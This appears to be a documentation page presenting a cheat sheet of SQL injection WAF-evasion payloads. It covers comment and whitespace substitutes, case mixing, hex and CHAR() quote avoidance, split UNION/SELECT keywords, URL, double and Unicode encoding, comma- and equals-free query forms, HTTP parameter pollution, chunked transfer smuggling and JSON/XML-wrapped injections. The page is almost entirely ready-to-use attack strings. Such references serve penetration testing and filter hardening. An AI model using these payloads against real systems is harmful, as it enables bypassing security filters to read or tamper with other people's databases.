Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Space Bypass

/**/                    →  SELECT/**/username/**/FROM/**/users
+                       →  SELECT+username+FROM+users
%20                     →  SELECT%20username%20FROM%20users
%09 (tab)               →  SELECT%09username%09FROM%09users
%0a (newline)           →  SELECT%0ausername%0aFROM%0ausers
%0d                     →  carriage return
()                      →  SELECT(username)FROM(users)

Comment Variations

-- comment
--+ comment
# comment
/*comment*/
/*!50000 SELECT*/ 1     -- MySQL version-specific comment
;%00                    -- Null byte

Case Manipulation

SeLeCt username FrOm users
sElEcT uSeRnAmE fRoM uSeRs

Quote Bypass

No Quotes — Hex

SELECT * FROM users WHERE username=0x61646d696e     -- 'admin' in hex

No Quotes — CHAR()

SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

Double Quotes

SELECT * FROM users WHERE username="admin"

Keyword Bypass

UNION Blocked

UN/**/ION SE/**/LECT
UNiOn SeLeCt
UNION ALL SELECT
UNION%0aSELECT
/*!UNION*/ /*!SELECT*/

SELECT Blocked

SE/**/LECT
SeLeCt
%53%45%4c%45%43%54          -- URL-encoded

OR / AND Blocked

|| instead of OR
&& instead of AND

Comma Blocked

-- UNION SELECT without commas
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

-- SUBSTRING without comma
SUBSTRING(database() FROM 1 FOR 1)

-- LIMIT without comma
LIMIT 1 OFFSET 0

Equals Blocked

LIKE instead of =
IN (value) instead of =value
BETWEEN value AND value
REGEXP 'pattern'

Encoding

URL Encoding

' → %27
= → %3d
  → %20
# → %23
/ → %2f

Double URL Encoding

' → %2527
  → %2520

Unicode

' → %u0027
< → %u003c

Hex Encoding

0x61646d696e = 'admin'
SELECT * FROM users WHERE name=0x61646d696e

String Concatenation

MySQL

CONCAT('ad','min')
'ad' 'min'              -- Adjacent strings auto-concat

MSSQL

'ad'+'min'

PostgreSQL

'ad'||'min'

Oracle

'ad'||'min'

Alternative Functions

BlockedAlternative
SUBSTRINGMID(), SUBSTR(), LEFT(), RIGHT()
ASCIIORD(), HEX()
SLEEPBENCHMARK(10000000,SHA1('x'))
IFCASE WHEN ... THEN ... END
GROUP_CONCATCONCAT_WS(), subquery with LIMIT
information_schemamysql.innodb_table_stats (MySQL 5.6+)

HTTP Parameter Pollution

?id=1&id=UNION&id=SELECT&id=1,2,3
Some WAFs only check first/last parameter.

Chunked Transfer Encoding

Transfer-Encoding: chunked

3
id=
5
1 UNI
7
ON SELE
5
CT 1
0

JSON / XML Injection

JSON Body

{"id": "1 UNION SELECT 1,2,3-- -"}

XML Body

<id>1 UNION SELECT 1,2,3-- -</id>
Some WAFs don’t inspect non-standard content types.

Quick Reference

FilterBypass
Spaces/**/, +, %09, %0a
UNIONUN/**/ION, UNiOn, /*!UNION*/
Quotes0x hex, CHAR(), double quotes
CommasJOIN, FROM x FOR y, LIMIT 1 OFFSET 0
EqualsLIKE, IN(), BETWEEN, REGEXP
EncodingDouble URL, Unicode, Hex

Sources